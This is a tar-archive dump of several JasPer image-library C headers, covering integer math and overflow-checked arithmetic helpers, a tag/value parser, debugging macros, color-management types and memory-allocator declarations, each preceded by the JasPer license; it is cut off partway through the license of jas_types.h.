<jasper/jas_config.h> #include <jasper/jas_types.h> #include <assert.h> #include <stdio.h> #include <string.h> #include <stdint.h> #ifdef __cplusplus extern "C" { #endif /******************************************************************************\ * Macros \******************************************************************************/ #define JAS_KIBI JAS_CAST(size_t, 1024) #define JAS_MEBI (JAS_KIBI * JAS_KIBI) /* Compute the absolute value. */ #define JAS_ABS(x) \ (((x) >= 0) ? (x) : (-(x))) /* Compute the minimum of two values. */ #define JAS_MIN(x, y) \ (((x) < (y)) ? (x) : (y)) /* Compute the maximum of two values. */ #define JAS_MAX(x, y) \ (((x) > (y)) ? (x) : (y)) /* Compute the remainder from division (where division is defined such that the remainder is always nonnegative). */ #define JAS_MOD(x, y) \ (((x) < 0) ? (((-x) % (y)) ? ((y) - ((-(x)) % (y))) : (0)) : ((x) % (y))) /* Compute the integer with the specified number of least significant bits set to one. */ #define JAS_ONES(n) \ ((1 << (n)) - 1) /******************************************************************************\ * \******************************************************************************/ JAS_ATTRIBUTE_DISABLE_USAN inline static int jas_int_asr(int x, int n) { // Ensure that the shift of a negative value appears to behave as a // signed arithmetic shift. assert(((-1) >> 1) == -1); assert(n >= 0); // The behavior is undefined when x is negative. */ // We tacitly assume the behavior is equivalent to a signed // arithmetic right shift. return x >> n; } JAS_ATTRIBUTE_DISABLE_USAN inline static int jas_int_asl(int x, int n) { // Ensure that the shift of a negative value appears to behave as a // signed arithmetic shift. assert(((-1) << 1) == -2); assert(n >= 0); // The behavior is undefined when x is negative. */ // We tacitly assume the behavior is equivalent to a signed // arithmetic left shift. return x << n; } JAS_ATTRIBUTE_DISABLE_USAN inline static int jas_fast32_asr(int_fast32_t x, int n) { // Ensure that the shift of a negative value appears to behave as a // signed arithmetic shift. assert(((JAS_CAST(int_fast32_t, -1)) >> 1) == JAS_CAST(int_fast32_t, -1)); assert(n >= 0); // The behavior is undefined when x is negative. */ // We tacitly assume the behavior is equivalent to a signed // arithmetic right shift. return x >> n; } JAS_ATTRIBUTE_DISABLE_USAN inline static int jas_fast32_asl(int_fast32_t x, int n) { // Ensure that the shift of a negative value appears to behave as a // signed arithmetic shift. assert(((JAS_CAST(int_fast32_t, -1)) << 1) == JAS_CAST(int_fast32_t, -2)); assert(n >= 0); // The behavior is undefined when x is negative. */ // We tacitly assume the behavior is equivalent to a signed // arithmetic left shift. return x << n; } /******************************************************************************\ * Safe integer arithmetic (i.e., with overflow checking). \******************************************************************************/ /* Compute the product of two size_t integers with overflow checking. */ inline static bool jas_safe_size_mul(size_t x, size_t y, size_t *result) { /* Check if overflow would occur */ if (x && y > SIZE_MAX / x) { /* Overflow would occur. */ return false; } if (result) { *result = x * y; } return true; } /* Compute the product of three size_t integers with overflow checking. */ inline static bool jas_safe_size_mul3(size_t a, size_t b, size_t c, size_t *result) { size_t tmp; if (!jas_safe_size_mul(a, b, &tmp) || !jas_safe_size_mul(tmp, c, &tmp)) { return false; } if (result) { *result = tmp; } return true; } /* Compute the sum of two size_t integers with overflow checking. */ inline static bool jas_safe_size_add(size_t x, size_t y, size_t *result) { if (y > SIZE_MAX - x) { return false; } if (result) { *result = x + y; } return true; } /* Compute the difference of two size_t integers with overflow checking. */ inline static bool jas_safe_size_sub(size_t x, size_t y, size_t *result) { if (y > x) { return false; } if (result) { *result = x - y; } return true; } /* Compute the product of two int_fast32_t integers with overflow checking. */ inline static bool jas_safe_intfast32_mul(int_fast32_t x, int_fast32_t y, int_fast32_t *result) { if (x > 0) { /* x is positive */ if (y > 0) { /* x and y are positive */ if (x > INT_FAST32_MAX / y) { return false; } } else { /* x positive, y nonpositive */ if (y < INT_FAST32_MIN / x) { return false; } } } else { /* x is nonpositive */ if (y > 0) { /* x is nonpositive, y is positive */ if (x < INT_FAST32_MIN / y) { return false; } } else { /* x and y are nonpositive */ if (x != 0 && y < INT_FAST32_MAX / x) { return false; } } } if (result) { *result = x * y; } return true; } /* Compute the product of three int_fast32_t integers with overflow checking. */ inline static bool jas_safe_intfast32_mul3(int_fast32_t a, int_fast32_t b, int_fast32_t c, int_fast32_t *result) { int_fast32_t tmp; if (!jas_safe_intfast32_mul(a, b, &tmp) || !jas_safe_intfast32_mul(tmp, c, &tmp)) { return false; } if (result) { *result = tmp; } return true; } /* Compute the sum of two int_fast32_t integers with overflow checking. */ inline static bool jas_safe_intfast32_add(int_fast32_t x, int_fast32_t y, int_fast32_t *result) { if ((y > 0 && x > INT_FAST32_MAX - y) || (y < 0 && x < INT_FAST32_MIN - y)) { return false; } if (result) { *result = x + y; } return true; } #ifdef __cplusplus } #endif #endif jasper/jas_tvp.h 0000644 00000012467 15246445046 0007673 0 ustar 00 /* * Copyright (c) 2001-2002 Michael David Adams. * All rights reserved. */ /* __START_OF_JASPER_LICENSE__ * * JasPer License Version 2.0 * * Copyright (c) 2001-2006 Michael David Adams * Copyright (c) 1999-2000 Image Power, Inc. * Copyright (c) 1999-2000 The University of British Columbia * * All rights reserved. * * Permission is hereby granted, free of charge, to any person (the * "User") obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, * publish, distribute, and/or sell copies of the Software, and to permit * persons to whom the Software is furnished to do so, subject to the * following conditions: * * 1. The above copyright notices and this permission notice (which * includes the disclaimer below) shall be included in all copies or * substantial portions of the Software. * * 2. The name of a copyright holder shall not be used to endorse or * promote products derived from the Software without specific prior * written permission. * * THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS * LICENSE. NO USE OF THE SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER * THIS DISCLAIMER. THE SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS * "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING * BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A * PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO * EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL * INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. NO ASSURANCES ARE * PROVIDED BY THE COPYRIGHT HOLDERS THAT THE SOFTWARE DOES NOT INFRINGE * THE PATENT OR OTHER INTELLECTUAL PROPERTY RIGHTS OF ANY OTHER ENTITY. * EACH COPYRIGHT HOLDER DISCLAIMS ANY LIABILITY TO THE USER FOR CLAIMS * BROUGHT BY ANY OTHER ENTITY BASED ON INFRINGEMENT OF INTELLECTUAL * PROPERTY RIGHTS OR OTHERWISE. AS A CONDITION TO EXERCISING THE RIGHTS * GRANTED HEREUNDER, EACH USER HEREBY ASSUMES SOLE RESPONSIBILITY TO SECURE * ANY OTHER INTELLECTUAL PROPERTY RIGHTS NEEDED, IF ANY. THE SOFTWARE * IS NOT FAULT-TOLERANT AND IS NOT INTENDED FOR USE IN MISSION-CRITICAL * SYSTEMS, SUCH AS THOSE USED IN THE OPERATION OF NUCLEAR FACILITIES, * AIRCRAFT NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL * SYSTEMS, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH * THE FAILURE OF THE SOFTWARE OR SYSTEM COULD LEAD DIRECTLY TO DEATH, * PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH * RISK ACTIVITIES"). THE COPYRIGHT HOLDERS SPECIFICALLY DISCLAIM ANY * EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES. * * __END_OF_JASPER_LICENSE__ */ /* * Tag/Value Parser * * $Id$ */ #ifndef JAS_TVP_H #define JAS_TVP_H /******************************************************************************\ * Includes. \******************************************************************************/ /* The configuration header file should be included first. */ #include <jasper/jas_config.h> #ifdef __cplusplus extern "C" { #endif /******************************************************************************\ * Types. \******************************************************************************/ /* Tag information type. */ typedef struct { int id; /* The ID for the tag. */ char *name; /* The name of the tag. */ } jas_taginfo_t; /* Tag-value parser type. */ typedef struct { char *buf; /* The parsing buffer. */ char *tag; /* The current tag name. */ char *val; /* The current value. */ char *pos; /* The current position in the parsing buffer. */ } jas_tvparser_t; /******************************************************************************\ * Tag information functions. \******************************************************************************/ /* Lookup a tag by name. */ JAS_DLLEXPORT jas_taginfo_t *jas_taginfos_lookup(jas_taginfo_t *taginfos, const char *name); /* This function returns a pointer to the specified taginfo object if it exists (i.e., the pointer is nonnull); otherwise, a pointer to a dummy object is returned. This is useful in some situations to avoid checking for a null pointer. */ JAS_DLLEXPORT jas_taginfo_t *jas_taginfo_nonull(jas_taginfo_t *taginfo); /******************************************************************************\ * Tag-value parser functions. \******************************************************************************/ /* Create a tag-value parser for the specified string. */ JAS_DLLEXPORT jas_tvparser_t *jas_tvparser_create(const char *s); /* Destroy a tag-value parser. */ JAS_DLLEXPORT void jas_tvparser_destroy(jas_tvparser_t *tvparser); /* Get the next tag-value pair. */ JAS_DLLEXPORT int jas_tvparser_next(jas_tvparser_t *tvparser); /* Get the tag name for the current tag-value pair. */ JAS_DLLEXPORT char *jas_tvparser_gettag(jas_tvparser_t *tvparser); /* Get the value for the current tag-value pair. */ JAS_DLLEXPORT char *jas_tvparser_getval(jas_tvparser_t *tvparser); #ifdef __cplusplus } #endif #endif jasper/jas_debug.h 0000644 00000010763 15246445046 0010145 0 ustar 00 /* * Copyright (c) 2001-2002 Michael David Adams. * All rights reserved. */ /* __START_OF_JASPER_LICENSE__ * * JasPer License Version 2.0 * * Copyright (c) 2001-2006 Michael David Adams * Copyright (c) 1999-2000 Image Power, Inc. * Copyright (c) 1999-2000 The University of British Columbia * * All rights reserved. * * Permission is hereby granted, free of charge, to any person (the * "User") obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, * publish, distribute, and/or sell copies of the Software, and to permit * persons to whom the Software is furnished to do so, subject to the * following conditions: * * 1. The above copyright notices and this permission notice (which * includes the disclaimer below) shall be included in all copies or * substantial portions of the Software. * * 2. The name of a copyright holder shall not be used to endorse or * promote products derived from the Software without specific prior * written permission. * * THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS * LICENSE. NO USE OF THE SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER * THIS DISCLAIMER. THE SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS * "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING * BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A * PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO * EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL * INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. NO ASSURANCES ARE * PROVIDED BY THE COPYRIGHT HOLDERS THAT THE SOFTWARE DOES NOT INFRINGE * THE PATENT OR OTHER INTELLECTUAL PROPERTY RIGHTS OF ANY OTHER ENTITY. * EACH COPYRIGHT HOLDER DISCLAIMS ANY LIABILITY TO THE USER FOR CLAIMS * BROUGHT BY ANY OTHER ENTITY BASED ON INFRINGEMENT OF INTELLECTUAL * PROPERTY RIGHTS OR OTHERWISE. AS A CONDITION TO EXERCISING THE RIGHTS * GRANTED HEREUNDER, EACH USER HEREBY ASSUMES SOLE RESPONSIBILITY TO SECURE * ANY OTHER INTELLECTUAL PROPERTY RIGHTS NEEDED, IF ANY. THE SOFTWARE * IS NOT FAULT-TOLERANT AND IS NOT INTENDED FOR USE IN MISSION-CRITICAL * SYSTEMS, SUCH AS THOSE USED IN THE OPERATION OF NUCLEAR FACILITIES, * AIRCRAFT NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL * SYSTEMS, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH * THE FAILURE OF THE SOFTWARE OR SYSTEM COULD LEAD DIRECTLY TO DEATH, * PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH * RISK ACTIVITIES"). THE COPYRIGHT HOLDERS SPECIFICALLY DISCLAIM ANY * EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES. * * __END_OF_JASPER_LICENSE__ */ /* * Debugging-Related Code * * $Id$ */ #ifndef JAS_DEBUG_H #define JAS_DEBUG_H /******************************************************************************\ * Includes. \******************************************************************************/ /* The configuration header file should be included first. */ #include <jasper/jas_config.h> #include <stdio.h> #include <jasper/jas_types.h> #include <jasper/jas_debug.h> #ifdef __cplusplus extern "C" { #endif /******************************************************************************\ * Macros and functions. \******************************************************************************/ /* Output debugging information to standard error provided that the debug level is set sufficiently high. */ #if !defined(NDEBUG) #define JAS_DBGLOG(n, x) \ ((jas_getdbglevel() >= (n)) ? (jas_eprintf x) : 0) #else #define JAS_DBGLOG(n, x) #endif /* Get the library debug level. */ JAS_DLLEXPORT int jas_getdbglevel(void); /* Set the library debug level. */ JAS_DLLEXPORT int jas_setdbglevel(int dbglevel); /* Perform formatted output to standard error. */ JAS_DLLEXPORT int jas_eprintf(const char *fmt, ...); /* Dump memory to a stream. */ int jas_memdump(FILE *out, void *data, size_t len); /* Warn about use of deprecated functionality. */ void jas_deprecated(const char *s); /* Convert to a string literal */ #define JAS_STRINGIFY(x) #x /* Convert to a string literal after macro expansion */ #define JAS_STRINGIFYX(x) JAS_STRINGIFY(x) #ifdef __cplusplus } #endif #endif jasper/jas_cm.h 0000644 00000017777 15246445046 0007472 0 ustar 00 /* * Copyright (c) 2002-2003 Michael David Adams. * All rights reserved. */ /* __START_OF_JASPER_LICENSE__ * * JasPer License Version 2.0 * * Copyright (c) 2001-2006 Michael David Adams * Copyright (c) 1999-2000 Image Power, Inc. * Copyright (c) 1999-2000 The University of British Columbia * * All rights reserved. * * Permission is hereby granted, free of charge, to any person (the * "User") obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, * publish, distribute, and/or sell copies of the Software, and to permit * persons to whom the Software is furnished to do so, subject to the * following conditions: * * 1. The above copyright notices and this permission notice (which * includes the disclaimer below) shall be included in all copies or * substantial portions of the Software. * * 2. The name of a copyright holder shall not be used to endorse or * promote products derived from the Software without specific prior * written permission. * * THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS * LICENSE. NO USE OF THE SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER * THIS DISCLAIMER. THE SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS * "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING * BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A * PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO * EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL * INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. NO ASSURANCES ARE * PROVIDED BY THE COPYRIGHT HOLDERS THAT THE SOFTWARE DOES NOT INFRINGE * THE PATENT OR OTHER INTELLECTUAL PROPERTY RIGHTS OF ANY OTHER ENTITY. * EACH COPYRIGHT HOLDER DISCLAIMS ANY LIABILITY TO THE USER FOR CLAIMS * BROUGHT BY ANY OTHER ENTITY BASED ON INFRINGEMENT OF INTELLECTUAL * PROPERTY RIGHTS OR OTHERWISE. AS A CONDITION TO EXERCISING THE RIGHTS * GRANTED HEREUNDER, EACH USER HEREBY ASSUMES SOLE RESPONSIBILITY TO SECURE * ANY OTHER INTELLECTUAL PROPERTY RIGHTS NEEDED, IF ANY. THE SOFTWARE * IS NOT FAULT-TOLERANT AND IS NOT INTENDED FOR USE IN MISSION-CRITICAL * SYSTEMS, SUCH AS THOSE USED IN THE OPERATION OF NUCLEAR FACILITIES, * AIRCRAFT NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL * SYSTEMS, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH * THE FAILURE OF THE SOFTWARE OR SYSTEM COULD LEAD DIRECTLY TO DEATH, * PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH * RISK ACTIVITIES"). THE COPYRIGHT HOLDERS SPECIFICALLY DISCLAIM ANY * EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES. * * __END_OF_JASPER_LICENSE__ */ /* * Color Management * * $Id$ */ #ifndef JAS_CM_H #define JAS_CM_H /* The configuration header file should be included first. */ #include <jasper/jas_config.h> #include <jasper/jas_icc.h> #ifdef __cplusplus extern "C" { #endif typedef int jas_clrspc_t; /* transform operations */ #define JAS_CMXFORM_OP_FWD 0 #define JAS_CMXFORM_OP_REV 1 #define JAS_CMXFORM_OP_PROOF 2 #define JAS_CMXFORM_OP_GAMUT 3 /* rendering intents */ #define JAS_CMXFORM_INTENT_PER 0 #define JAS_CMXFORM_INTENT_RELCLR 1 #define JAS_CMXFORM_INTENT_ABSCLR 2 #define JAS_CMXFORM_INTENT_SAT 3 #define JAS_CMXFORM_NUMINTENTS 4 #define JAS_CMXFORM_OPTM_SPEED 0 #define JAS_CMXFORM_OPTM_SIZE 1 #define JAS_CMXFORM_OPTM_ACC 2 #define jas_clrspc_create(fam, mbr) (((fam) << 8) | (mbr)) #define jas_clrspc_fam(clrspc) ((clrspc) >> 8) #define jas_clrspc_mbr(clrspc) ((clrspc) & 0xff) #define jas_clrspc_isgeneric(clrspc) (!jas_clrspc_mbr(clrspc)) #define jas_clrspc_isunknown(clrspc) ((clrspc) & JAS_CLRSPC_UNKNOWNMASK) #define JAS_CLRSPC_UNKNOWNMASK 0x4000 /* color space families */ #define JAS_CLRSPC_FAM_UNKNOWN 0 #define JAS_CLRSPC_FAM_XYZ 1 #define JAS_CLRSPC_FAM_LAB 2 #define JAS_CLRSPC_FAM_GRAY 3 #define JAS_CLRSPC_FAM_RGB 4 #define JAS_CLRSPC_FAM_YCBCR 5 /* specific color spaces */ #define JAS_CLRSPC_UNKNOWN JAS_CLRSPC_UNKNOWNMASK #define JAS_CLRSPC_CIEXYZ jas_clrspc_create(JAS_CLRSPC_FAM_XYZ, 1) #define JAS_CLRSPC_CIELAB jas_clrspc_create(JAS_CLRSPC_FAM_LAB, 1) #define JAS_CLRSPC_SGRAY jas_clrspc_create(JAS_CLRSPC_FAM_GRAY, 1) #define JAS_CLRSPC_SRGB jas_clrspc_create(JAS_CLRSPC_FAM_RGB, 1) #define JAS_CLRSPC_SYCBCR jas_clrspc_create(JAS_CLRSPC_FAM_YCBCR, 1) /* generic color spaces */ #define JAS_CLRSPC_GENRGB jas_clrspc_create(JAS_CLRSPC_FAM_RGB, 0) #define JAS_CLRSPC_GENGRAY jas_clrspc_create(JAS_CLRSPC_FAM_GRAY, 0) #define JAS_CLRSPC_GENYCBCR jas_clrspc_create(JAS_CLRSPC_FAM_YCBCR, 0) #define JAS_CLRSPC_CHANIND_YCBCR_Y 0 #define JAS_CLRSPC_CHANIND_YCBCR_CB 1 #define JAS_CLRSPC_CHANIND_YCBCR_CR 2 #define JAS_CLRSPC_CHANIND_RGB_R 0 #define JAS_CLRSPC_CHANIND_RGB_G 1 #define JAS_CLRSPC_CHANIND_RGB_B 2 #define JAS_CLRSPC_CHANIND_GRAY_Y 0 typedef double jas_cmreal_t; struct jas_cmpxform_s; typedef struct { long *buf; int prec; int sgnd; int width; int height; } jas_cmcmptfmt_t; typedef struct { int numcmpts; jas_cmcmptfmt_t *cmptfmts; } jas_cmpixmap_t; typedef struct { void (*destroy)(struct jas_cmpxform_s *pxform); int (*apply)(struct jas_cmpxform_s *pxform, jas_cmreal_t *in, jas_cmreal_t *out, int cnt); void (*dump)(struct jas_cmpxform_s *pxform); } jas_cmpxformops_t; typedef struct { jas_cmreal_t *data; int size; } jas_cmshapmatlut_t; typedef struct { int mono; int order; int useluts; int usemat; jas_cmshapmatlut_t luts[3]; jas_cmreal_t mat[3][4]; } jas_cmshapmat_t; typedef struct { int order; } jas_cmshaplut_t; typedef struct { int inclrspc; int outclrspc; } jas_cmclrspcconv_t; #define jas_align_t double typedef struct jas_cmpxform_s { int refcnt; jas_cmpxformops_t *ops; int numinchans; int numoutchans; union { jas_align_t dummy; jas_cmshapmat_t shapmat; jas_cmshaplut_t shaplut; jas_cmclrspcconv_t clrspcconv; } data; } jas_cmpxform_t; typedef struct { int numpxforms; int maxpxforms; jas_cmpxform_t **pxforms; } jas_cmpxformseq_t; typedef struct { int numinchans; int numoutchans; jas_cmpxformseq_t *pxformseq; } jas_cmxform_t; #define JAS_CMPROF_TYPE_DEV 1 #define JAS_CMPROF_TYPE_CLRSPC 2 #define JAS_CMPROF_NUMPXFORMSEQS 13 typedef struct { int clrspc; int numchans; int refclrspc; int numrefchans; jas_iccprof_t *iccprof; jas_cmpxformseq_t *pxformseqs[JAS_CMPROF_NUMPXFORMSEQS]; } jas_cmprof_t; #if 0 typedef int_fast32_t jas_cmattrname_t; typedef int_fast32_t jas_cmattrval_t; typedef int_fast32_t jas_cmattrtype_t; /* Load a profile. */ int jas_cmprof_load(jas_cmprof_t *prof, jas_stream_t *in, int fmt); /* Save a profile. */ int jas_cmprof_save(jas_cmprof_t *prof, jas_stream_t *out, int fmt); /* Set an attribute of a profile. */ int jas_cm_prof_setattr(jas_cm_prof_t *prof, jas_cm_attrname_t name, void *val); /* Get an attribute of a profile. */ void *jas_cm_prof_getattr(jas_cm_prof_t *prof, jas_cm_attrname_t name); #endif jas_cmxform_t *jas_cmxform_create(jas_cmprof_t *inprof, jas_cmprof_t *outprof, jas_cmprof_t *proofprof, int op, int intent, int optimize); void jas_cmxform_destroy(jas_cmxform_t *xform); /* Apply a transform to data. */ int jas_cmxform_apply(jas_cmxform_t *xform, jas_cmpixmap_t *in, jas_cmpixmap_t *out); int jas_cxform_optimize(jas_cmxform_t *xform, int optimize); /* Create a profile. */ JAS_DLLEXPORT jas_cmprof_t *jas_cmprof_createfromiccprof(jas_iccprof_t *iccprof); JAS_DLLEXPORT jas_cmprof_t *jas_cmprof_createfromclrspc(int clrspc); /* Destroy a profile. */ JAS_DLLEXPORT void jas_cmprof_destroy(jas_cmprof_t *prof); int jas_clrspc_numchans(int clrspc); JAS_DLLEXPORT jas_iccprof_t *jas_iccprof_createfromcmprof(jas_cmprof_t *prof); #define jas_cmprof_clrspc(prof) ((prof)->clrspc) JAS_DLLEXPORT jas_cmprof_t *jas_cmprof_copy(jas_cmprof_t *prof); #ifdef __cplusplus } #endif #endif jasper/jas_malloc.h 0000644 00000011174 15246445046 0010323 0 ustar 00 /* * Copyright (c) 1999-2000 Image Power, Inc. and the University of * British Columbia. * Copyright (c) 2001-2002 Michael David Adams. * All rights reserved. */ /* __START_OF_JASPER_LICENSE__ * * JasPer License Version 2.0 * * Copyright (c) 2001-2006 Michael David Adams * Copyright (c) 1999-2000 Image Power, Inc. * Copyright (c) 1999-2000 The University of British Columbia * * All rights reserved. * * Permission is hereby granted, free of charge, to any person (the * "User") obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, * publish, distribute, and/or sell copies of the Software, and to permit * persons to whom the Software is furnished to do so, subject to the * following conditions: * * 1. The above copyright notices and this permission notice (which * includes the disclaimer below) shall be included in all copies or * substantial portions of the Software. * * 2. The name of a copyright holder shall not be used to endorse or * promote products derived from the Software without specific prior * written permission. * * THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS * LICENSE. NO USE OF THE SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER * THIS DISCLAIMER. THE SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS * "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING * BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A * PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO * EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL * INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. NO ASSURANCES ARE * PROVIDED BY THE COPYRIGHT HOLDERS THAT THE SOFTWARE DOES NOT INFRINGE * THE PATENT OR OTHER INTELLECTUAL PROPERTY RIGHTS OF ANY OTHER ENTITY. * EACH COPYRIGHT HOLDER DISCLAIMS ANY LIABILITY TO THE USER FOR CLAIMS * BROUGHT BY ANY OTHER ENTITY BASED ON INFRINGEMENT OF INTELLECTUAL * PROPERTY RIGHTS OR OTHERWISE. AS A CONDITION TO EXERCISING THE RIGHTS * GRANTED HEREUNDER, EACH USER HEREBY ASSUMES SOLE RESPONSIBILITY TO SECURE * ANY OTHER INTELLECTUAL PROPERTY RIGHTS NEEDED, IF ANY. THE SOFTWARE * IS NOT FAULT-TOLERANT AND IS NOT INTENDED FOR USE IN MISSION-CRITICAL * SYSTEMS, SUCH AS THOSE USED IN THE OPERATION OF NUCLEAR FACILITIES, * AIRCRAFT NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL * SYSTEMS, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH * THE FAILURE OF THE SOFTWARE OR SYSTEM COULD LEAD DIRECTLY TO DEATH, * PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH * RISK ACTIVITIES"). THE COPYRIGHT HOLDERS SPECIFICALLY DISCLAIM ANY * EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES. * * __END_OF_JASPER_LICENSE__ */ /* * Memory Allocator * * $Id$ */ #ifndef JAS_MALLOC_H #define JAS_MALLOC_H /******************************************************************************\ * Includes. \******************************************************************************/ /* The configuration header file should be included first. */ #include <jasper/jas_config.h> #include <stdlib.h> #include <stdio.h> #ifdef __cplusplus extern "C" { #endif /******************************************************************************\ * Functions. \******************************************************************************/ /* Allocate memory. */ JAS_DLLEXPORT void *jas_malloc(size_t size); /* Free memory. */ JAS_DLLEXPORT void jas_free(void *ptr); /* Resize a block of allocated memory. */ JAS_DLLEXPORT void *jas_realloc(void *ptr, size_t size); /* Allocate a block of memory and initialize the contents to zero. */ JAS_DLLEXPORT void *jas_calloc(size_t num_elements, size_t element_size); /* Allocate array (with overflow checking) . */ JAS_DLLEXPORT void *jas_alloc2(size_t num_elements, size_t element_size); /* Allocate array of arrays (with overflow checking) . */ JAS_DLLEXPORT void *jas_alloc3(size_t num_arrays, size_t array_size, size_t element_size); /* Resize a block of allocated memory (with overflow checking) . */ JAS_DLLEXPORT void *jas_realloc2(void *ptr, size_t num_elements, size_t element_size); #if defined(JAS_DEFAULT_MAX_MEM_USAGE) JAS_DLLEXPORT void jas_set_max_mem_usage(size_t max_mem); JAS_DLLEXPORT size_t jas_get_mem_usage(); #endif #ifdef __cplusplus } #endif #endif jasper/jas_types.h 0000644 00000012350 15246445046 0010215 0 ustar 00 /* * Copyright (c) 1999-2000 Image Power, Inc. and the University of * British Columbia. * Copyright (c) 2001-2003 Michael David Adams. * All rights reserved. */ /* __START_OF_JASPER_LICENSE__ * * JasPer License Version 2.0 * * Copyright (c) 2001-2006 Michael David Adams * Copyright (c) 1999-2000 Image Power, Inc. * Copyright (c) 1999-2000 The University of British Columbia * * All rights reserved. * * Permission is hereby granted, free of charge, to any person (the * "User") obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, * publish, distribute, and/or sell copies of the Software, and to permit * persons to whom the Software is furnished to do so, subject to the * following conditions: * * 1. The above copyright notices and this permission notice (which * includes the disclaimer below) shall be included in all copies or * substantial portions of the Software. * * 2. The name of a copyright holder shall not be used to endorse or * promote products derived from the Software without specific prior * written permission. * * THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS * LICENSE. NO USE OF THE SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER * THIS DISCLAIMER. THE SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS * "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING * BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A * PARTICULAR PURPOSE AND 